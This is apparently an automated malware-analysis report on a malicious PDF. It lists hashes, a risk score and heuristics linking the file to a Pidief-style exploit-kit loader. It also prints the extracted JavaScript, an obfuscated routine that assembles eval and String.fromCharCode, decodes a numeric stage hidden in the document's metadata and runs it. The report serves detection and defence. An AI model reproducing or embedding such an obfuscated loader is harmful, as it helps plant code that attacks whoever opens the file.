Malicious PDF — malware analysis report

Static analysis result for SHA-256 ac50ccdfd36d926a…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2026-05-09
MD5: d550207d0fc442c69df7f784df0a96ef SHA-1: dd7b8c8ea932bbdf405a3d68762b981be7eb31f5 SHA-256: ac50ccdfd36d926aa43301b8ac1632241c8437a4c326a9e2e881b2402a530a28
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions could not be determined due to the nature of the embedded artifact. The document body 'substr pli e test' provides no contextual clues.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB081 482 bytes
SHA-256: e63fe5cdc137d24c6b5bfbc5f72973aad69c942b974efe074ec1c225552342c4
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
myccf=e(v[4]+'i'.concat(v[4],t));
q=myccf[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
trn=e(e('d'));
sub=v[0];
sub+='ubject';
q=myccf[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	nhft = 1*(q[i]);
	i++;
	nhft -= (-1)*(q[i]);
	s2 += trn(nhft);
	i++;
}
e(s2);

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